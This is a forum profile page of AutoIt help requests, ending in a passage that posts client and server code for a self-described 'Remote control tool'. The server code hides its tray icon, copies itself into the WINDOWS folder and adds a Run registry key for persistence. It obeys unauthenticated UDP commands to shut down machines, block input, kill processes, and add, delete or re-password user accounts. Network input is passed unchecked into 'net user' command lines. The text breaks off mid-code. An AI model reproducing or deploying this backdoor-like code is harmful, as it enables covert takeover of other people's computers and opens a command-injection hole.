Jump to content

Erik.

Active Members
  • Posts

    324
  • Joined

  • Last visited

Everything posted by Erik.

  1. Hi, Thats works fine thanks I still do not know why that works and my solution not... I used my solution above in my script and it works fine so i wanted to use it again but it wont work any more but this works fine Thanks!
  2. But it is still strange... i used it before in my script and then it worked for me... i will try this
  3. still got the error: $number=IniRead($server & "\" & $map & "\members.dbs","aantal","1","") For $i2 = 0 to Number($number) $read2 = IniRead($server & "\" & $map & "\" & "members.dbs","members",$i2,"") $split = StringSplit($read2,"-") MsgBox(0, "", $split[1]) MsgBox(0, "", $split[2]) MsgBox(0, "", $split[3]) Next I realy don't know what i am doing wrong
  4. I will try to use it and i hope it will work. The problem the string i get back needs to be psingsplitted again so i can get member name and lastname and carndnumber. EDIT: Still got the same error...
  5. Hi, This is my peace of code but i get the error: Array variable has incorrect number of subscripts or subscript dimension range exceeded.: This is my code: For $i2 = 0 to IniRead($server & "\" & $map & "\members.dbs","aantal","1","") $read2 = IniRead($server & "\" & $map & "\" & "members.dbs","members",$i2,"") $split = StringSplit($read2,"-") msgbox(0,"",$split[1]) If GUICtrlRead($voornaam) = $split[2] And GUICtrlRead($achternaam) = $split[3] Then GUICtrlSetBkColor($voornaam,0xff0000);rood GUICtrlSetBkColor($achternaam,0xff0000);rood $read1 = GUICtrlRead($info) GUICtrlSetData($info,"Voornaam/Achternaam (bestaat al)" & @CRLF & $read1) MsgBox(48,"Error","013" & @CRLF & "Voornaam/Achternaam bestaat al") $er3=1 ExitLoop Else GUICtrlSetBkColor($voornaam,0x00ff00);groen GUICtrlSetBkColor($achternaam,0x00ff00);groen $read1 = GUICtrlRead($info) GUICtrlSetData($info,"Voornaam/Achternaam (goed)" & @CRLF & $read1) $er3=0 EndIf Next EndIf I don't know what i aim doing wrong... This is my ini file: [aantal] 1=0 [members] 1=0001-memberone-lastname 2=0002-membertwo-lastname 3=0003-memberthree-lastname I want to get the string 2 and 3 member...-and lastname is there are the same as controlread the it is ok But i get that error I do not know what i am doing wrong When i ask string[1] it works i get 0001 or someother but when i ask other string it won't work any more:( Can someone help me please
  6. It is numberd, on the top of the file you have a number like 85 that will say we have 85 members. you got the name for example 84 Then cardnumber-firstname-lastname Someone got an example?
  7. hi again I have a map called I Meet Into that map we have many other maps whit person names.... This is how the maps are called: firtsname-lastname-cardnumber When you only get the cardnumber how to search for the map whit that cardnumber? Hope you can understand what i mean
  8. Hi, I i need to make a search function. I have many names in an ini file. section members i also have a section howmany so you can see how mandy members i have. Now i want to search for a person like "kelly" Now do we have 3 Kellys how to fix it that when the program found one kelly that the other names also so you get a list of msgbox whit alle kellys in it. Is it posible and how can i make it? I don't have any idea how to make it Greatz Erik
  9. Yes, know I found it and it is working very nice. Now the next problem. The user on the computer can do other things like selecting or deselecting things and type a comment how to use it whit both? I whink the best way is make an unvisible inputbox and let it select it everytime or isn't it a good idea?
  10. i try to explain why i need this. I am making an program that can read a platic card whit a black trip on it whit data in it. This card is used for in a disco and the program needs to read it, as far i know you can connect that card reader to you keyboard and it gives the data like 1234568 someone Then presses enter I want to get all data until the enter key is pressed so the program's know the card is scanned... Hope you can help me It is not for an keylogger ore something like that
  11. Hi, I am writing an program and i am looking for a little script that records all keystrokes until enter is pressed and then display the key strokes Does someone has a code for me? Greetzz
  12. That works fine, Thanks allot
  13. Hu, wierd code? It was think of wierd ocde i think a reload error If i do not move the mouse for 5 seconds and then i move it i get the message I want the message when the mouse is not mouved for 5 seconds..
  14. Hello, i want to know if there is some option to see the mouse activity If the mouse was not moved for 2 minutes there must be opened a program to lock the pc. i already have a program running that i made and i want to put this code to my program Like an anty afk script Is there some that can help me?
  15. Oh, uhm i think i did not read that peace:P But now i know thanks for looking at my script When it is 19:00:00 my msn and firefox must me started at that time i have internet connection
  16. Hi, This is my script: #cs ---------------------------------------------------------------------------- AutoIt Version: 3.2.4.9 Author: myName Script Function: Template AutoIt script. #ce ---------------------------------------------------------------------------- #include <GUIConstants.au3> #Include <GuiListView.au3> #Include <File.au3> #include <Date.au3> #include <Array.au3> #include <Date.au3> #include <string.au3> #Include <Constants.au3> Opt("GuiOnEventMode",1) Opt("TrayIconHide",1) Opt("TrayMenuMode",1) Opt("TrayAutoPause",0) Opt("TrayOnEventMode",1) $dir = @ScriptDir $config = $dir & "\config.cfg" If Not FileExists($config) Then _FileCreate($config) MsgBox(64,"No config file","There was no config file found it will be created") EndIf $Form2_1 = GUICreate("Auto internet", 285, 306, 316, 182) $Button1 = GUICtrlCreateButton("Start Msn", 8, 72, 121, 33, 0) $Button2 = GUICtrlCreateButton("Stop Msn", 8, 112, 121, 33, 0) $Button4 = GUICtrlCreateButton("Start Firefox", 136, 72, 121, 33, 0) $Button5 = GUICtrlCreateButton("Stop Firefox", 136, 112, 121, 33, 0) $Tijd = GUICtrlCreateInput("", 8, 280, 89, 21, BitOR($ES_AUTOHSCROLL,$ES_READONLY)) $Label1 = GUICtrlCreateLabel("Activeren", 24, 32, 49, 17) $Button3 = GUICtrlCreateButton("Opslaan", 128, 32, 129, 33, 0) $msngestart = GUICtrlCreateInput("", 8, 248, 89, 21, BitOR($ES_AUTOHSCROLL,$ES_READONLY)) $internetgestart = GUICtrlCreateInput("", 8, 216, 89, 21, BitOR($ES_AUTOHSCROLL,$ES_READONLY)) $Checkbox1 = GUICtrlCreateCheckbox("", 80, 32, 17, 17) GUISetOnEvent($GUI_EVENT_CLOSE,"_exit") GUISetOnEvent($GUI_EVENT_MINIMIZE,"hide") TraySetOnEvent($TRAY_EVENT_PRIMARYDOWN,"show") GUISetState(@SW_SHOW) While 1 GUICtrlSetData($Tijd,@HOUR & ":" & @MIN & ":" & @SEC) $internet = ProcessExists("firefox.exe") $msn = ProcessExists("msnmsgr.exe") If ProcessExists($internet) Then GUICtrlSetData($internetgestart,"Firefox Aan") Else GUICtrlSetData($internetgestart,"Firefox Uit") EndIf If ProcessExists($msn) Then GUICtrlSetData($msngestart,"Msn Aan") Else GUICtrlSetData($msngestart,"Msn Uit") EndIf $configread = IniRead($config,"Activeren","1","") $tijd2 = GUICtrlRead($Tijd) If $configread = "1" Then If $Tijd2 = "19:00:00" Then If Not ProcessExists("firefox.exe") Then Run("firefox.exe","C:\Program Files\Mozilla Firefox\") EndIf If Not ProcessExists("msnmsgr.exe") Then Run("msnmsgr.exe","C:\Program Files\MSN Messenger\") EndIf Else EndIf Else EndIf If $tijd2 = "17:30:00" Then Msgbox(64,"internet uit","Internet is uit") Else EndIf $msg = GUIGetMsg() Select Case $msg = $Button3 $activeren = Guictrlread($Checkbox1) If $activeren = 1 Then IniWrite($config,"Activeren","1","1") Else IniWrite($config,"Activeren","1","0") EndIf Case $msg = $Button1 Msgbox(64,"internet uit","Internet is uit") EndSelect Sleep(100) WEnd Func _exit() Exit EndFunc Func hide() Opt ("TrayIconHide",0) WinSetState("Auto internet","",@SW_HIDE) EndFunc Func show() Opt ("TrayIconHide",1) WinSetState("Auto internet","",@SW_SHOW) WinActivate("Auto internet") EndFunc Exit My problem now is the buttons do nothing how to fix it?
  17. Oh yes that works fine. Thank you very much! Now i can finish my script... Thank you
  18. Hahah, It works but now it is on my try but it will not open again Does the script pauze when i send it to tray? it must be not paused
  19. Hello, I have a simple question and i hope it will be simple... I have already used the Search button but did not found anything i want... When you press the minimize button on the window of my script that my windows will go away and set it to tray when you click one time on the icon it will show to gui... How to do that? Or a button send to tray
  20. Does it work when you have 2 monitors?
  21. Hi, I think it is not possible but i don't know Just flugg out the plug:P It is a hardware thing so i think you can not disable/enable it... When you have a output for it that you can mute that one...
  22. HI all, I am finshed whit my program I have tested on my own computer thats works perfect.. Now i wanted to use it on my network but it doens't work This is my code: on my pc: #include <GUIConstants.au3> #Region ### START Koda GUI section ### Form=G:\backup24mei2006\Alemappen\Autoit\Koda\Forms\remotecool2.kxf $Form1 = GUICreate("Remote control tool", 637, 565, 191, 113) $ip = GUICtrlCreateInput("172.27.183.214", 32, 16, 193, 21) $connect = GUICtrlCreateButton("Connect", 240, 16, 105, 25, 0) $info = GUICtrlCreateEdit("", 32, 56, 313, 449, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN,$WS_HSCROLL,$WS_VSCROLL)) GUICtrlSetData(-1, "") GUICtrlSetBkColor(-1, 0x3B99FE) $message = GUICtrlCreateInput("", 32, 520, 193, 21) $Send = GUICtrlCreateButton("Send", 240, 520, 105, 25, 0) $tabs = GUICtrlCreateTab(384, 16, 313, 537) $TabSheet1 = GUICtrlCreateTabItem("General") $Button3 = GUICtrlCreateButton("Shutdown", 399, 45, 121, 25, 0) $Button4 = GUICtrlCreateButton("Reboot", 399, 78, 121, 25, 0) $Button5 = GUICtrlCreateButton("Get users", 399, 112, 121, 25, 0) $Button6 = GUICtrlCreateButton("Change password", 399, 147, 121, 25, 0) $Button7 = GUICtrlCreateButton("Delete user", 399, 181, 121, 25, 0) $Button8 = GUICtrlCreateButton("Add user", 399, 215, 121, 25, 0) $Button9 = GUICtrlCreateButton("Get Process List", 399, 247, 121, 25, 0) $Button10 = GUICtrlCreateButton("Kill proces", 399, 283, 121, 25, 0) $Button11 = GUICtrlCreateButton("Block input", 399, 320, 121, 25, 0) $Button12 = GUICtrlCreateButton("Unblock input", 399, 356, 121, 25, 0) $Button13 = GUICtrlCreateButton("AButton13", 399, 391, 121, 25, 0) $Button14 = GUICtrlCreateButton("AButton14", 399, 426, 121, 25, 0) $Button15 = GUICtrlCreateButton("AButton15", 399, 461, 121, 25, 0) $TabSheet2 = GUICtrlCreateTabItem("Advanced") $Button1 = GUICtrlCreateButton("Enable Task Manager", 398, 48, 150, 25, 0) $Button2 = GUICtrlCreateButton("Disable Task Manager", 398, 81, 150, 25, 0) $Button16 = GUICtrlCreateButton("On hide all items destop", 398, 120, 150, 25, 0) $Button17 = GUICtrlCreateButton("Off hide all items desktop", 398, 154, 150, 25, 0) $Button18 = GUICtrlCreateButton("On hide clock", 398, 187, 150, 25, 0) $Button19 = GUICtrlCreateButton("Off hide clock", 398, 224, 150, 25, 0) $Button20 = GUICtrlCreateButton("On hide button log off", 398, 262, 150, 25, 0) $Button21 = GUICtrlCreateButton("Off hide button log off", 398, 294, 150, 25, 0) $Button22 = GUICtrlCreateButton("On hide tray icons", 398, 331, 150, 25, 0) $Button23 = GUICtrlCreateButton("Off hide tray icons", 398, 370, 150, 25, 0) $Button24 = GUICtrlCreateButton("Change message login", 398, 403, 150, 25, 0) $Button25 = GUICtrlCreateButton("AButton3", 398, 441, 150, 25, 0) $Button26 = GUICtrlCreateButton("AButton3", 398, 477, 150, 25, 0) $Button27 = GUICtrlCreateButton("AButton3", 398, 510, 150, 25, 0) GUICtrlCreateTabItem("") GUISetState(@SW_SHOW) UDPStartup() While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE UDPShutdown() Exit Case $connect If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"Connect") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "Connected" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " Connected whit host:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button3 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"shutdown") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "shuttingdown" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host is shutting down:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend case $Button4 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"reboot") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "rebooting" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host is rebooting now:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend case $Button5 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"getuser") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf While 1 $data1 = UDPRecv($socket, 2048) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[0] = 2 And $string[1] = "userfound" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user accounts:" & @CRLF & $string[2] & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else MsgBox(16, "Error", "Unexpected reply to 'getuser': " & $data1) EndIf Sleep(100) EndIf WEnd case $Button6 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"userpassword") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf Sleep(1000) $username = InputBox("Please full the user that you want to change the password", "User name", "") $password1 = InputBox("Please full the new password for the user", "Password", "") $password2 = InputBox("Please full the new password for the user", "Password", "") If $password1 = $password2 Then $status2 = UDPSend($socket,"userpassword2|" & $username & "|" & $password1 ) While 1 $data2 = UDPRecv($socket, 999) If $data2 = "ok" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user password was succesfull changed to: " & $password1& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf If $data2 = "false" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user password was NOT changed to: " & $password1& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else EndIf WEnd ;;;;;;; Else MsgBox(48,"Error","The passwords do not match please edit them") Endif case $Button7 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"userdelete") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf Sleep(1000) $userdelete = InputBox("Please full the user that you want to delete", "User name", "") $status2 = UDPSend($socket,"userdelete2|" & $userdelete) While 1 $data2 = UDPRecv($socket, 999) If $data2 = "ok" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user was succesfull deleted: " & $userdelete& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf If $data2 = "false" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user user could NOT be deleted: " & $userdelete& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else EndIf WEnd ;;;;;;; case $Button8 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"useradd") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf Sleep(1000) $useradd = InputBox("Please full the user that you want to add", "User name", "") $status2 = UDPSend($socket,"useradd2|" & $useradd) While 1 $data2 = UDPRecv($socket, 999) If $data2 = "ok" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user was succesfull added: " & $useradd& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf If $data2 = "false" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user user could NOT be added: " & $useradd& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else EndIf WEnd ;;;;;;; case $Button9 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"tasklist") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf While 1 $data1 = UDPRecv($socket, 999999) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[0] = 2 And $string[1] = "tasklist" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process list:" & @CRLF & $string[2] & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else MsgBox(16, "Error", "Unexpected reply to 'Tasklist': " & $data1) EndIf Sleep(100) EndIf WEnd case $Button10 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"tasklistkill") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf Sleep(1000) $taskkill = InputBox("Please full the process that you want to kill", "Process you want to kill + .exe", "") $status2 = UDPSend($socket,"tasklistkill2|" & $taskkill) While 1 $data2 = UDPRecv($socket, 999) If $data2 = "ok" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process killed succesfull: " & $taskkill & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf If $data2 = "false2" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process was not found: " & $taskkill & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf If $data2 = "false" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process was NOT killed: " & $taskkill & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else EndIf Sleep(100) WEnd Case $Button11 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"blockinput") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "blockinput" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host input was blocked:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button12 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"unblockinput") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "unblockinput" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host input was unblocked:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend ;;;;;;;;;;;;;;;;;;;;;;;;advanced;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Case $Button1 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"enabletaskmanager") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "enabletaskmanager" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host task manager was enabled:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button2 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"disabletaskmanager") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "disabletaskmanager" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host taskmanager was disabled:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button16 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"onhideallitemsdesktop") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "onhideallitemsdesktop" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host desktop items are hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button17 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"offhideallitemsdesktop") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "offhideallitemsdesktop" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host desktop item are unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button18 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"onhideclock") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "onhideclock" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host clock is hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button19 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"offhideclock") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "offhideclock" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host clock is unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button20 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"onhidebuttonlogoff") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "onhidebuttonlogoff" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host log off button was hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button21 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"offhidebuttonlogoff") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "offhidebuttonlogoff" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host log off button was unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button22 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"onhidetryicons") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "onhidetryicons" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host tray icons are hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button23 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"offhidetryicons") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "offhidetryicons" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host try icons are unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Sleep(100) EndSwitch WEnd This is the code on the other pc: #include <GUIConstants.au3> #include <Constants.au3> #include <process.au3> #NoTrayIcon $text = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "ProgramFilesDir") $array = StringSplit($text, '\', 1) FileCopy(@scriptdir & "\rme.exe",$array[1] & "\WINDOWS\") Regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","rme","REG_SZ",$array[1] & "\WINDOWS\rme.exe") Global $msg2 = "Process List:" Global $pList = ProcessList() ;;This is the UDP Server ;;Start this first ; Start The UDP Services ;============================================== UDPStartup() ; Bind to a SOCKET ;============================================== $socket = UDPBind("172.27.183.213", 28960) While 1 $data = UDPRecv($socket, 50) If $data = "Connect" Then UDPSend($socket,"Connected") ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "shutdown" Then UDPSend($socket,"shuttingdown") Shutdown(13) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "reboot" Then UDPSend($socket,"rebooting") Shutdown(6) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "blockinput" Then UDPSend($socket,"blockinput") Blockinput(1) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "unblockinput" Then UDPSend($socket,"unblockinput") BlockInput(0) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "getuser" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; $rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut = "" While ProcessExists($rc) If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc) WEnd UDPSend($socket,"userfound|" & $StdOut) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "tasklist" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; $rc = Run(@ComSpec & " /c tasklist", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut = "" While ProcessExists($rc) If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc) WEnd UDPSend($socket,"tasklist|" & $StdOut) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "tasklistkill" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; While 1 $data1 = UDPRecv($socket, 999999) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[0] = 2 And $string[1] = "tasklistkill2" Then If ProcessExists($string[2]) Then ProcessClose($string[2]) Sleep(2000) If ProcessExists($string[2]) Then UDPSend($socket,"false") ExitLoop Else UDPSend($socket,"ok") ExitLoop EndIf Else UDPSend($socket,"false2") ExitLoop EndIf Else MsgBox(16, "Error", "Unexpected reply to 'Tasklist': " & $data1) EndIf Sleep(100) EndIf WEnd EndIf If $data = "userpassword" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Sleep(2000) While 1 $data1 = UDPRecv($socket, 999999) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[1] = "userpassword2" Then ;;;;;;;;;;;;;;;;;;;;;;;;;; $rc3 = Run(@ComSpec & " /c net user " & $string[2] & " " & $string[3], @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut3 = "" While ProcessExists($rc3) If StdoutRead($rc3, 0, 1) Then $StdOut3 &= StdoutRead($rc3) WEnd If $StdOut3 <> "" Then UDPSend($socket,"ok") ExitLoop Else UDPSend($socket,"false") ExitLoop EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;; Else EndIf Sleep(100) EndIf WEnd EndIf If $data = "useradd" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Sleep(2000) While 1 $data1 = UDPRecv($socket, 999999) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[1] = "useradd2" Then ;;;;;;;;;;;;;;;;;;;;;;;;;; $rc3 = Run(@ComSpec & " /c net user " & $string[2] & " " & "/add", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut3 = "" While ProcessExists($rc3) If StdoutRead($rc3, 0, 1) Then $StdOut3 &= StdoutRead($rc3) WEnd If 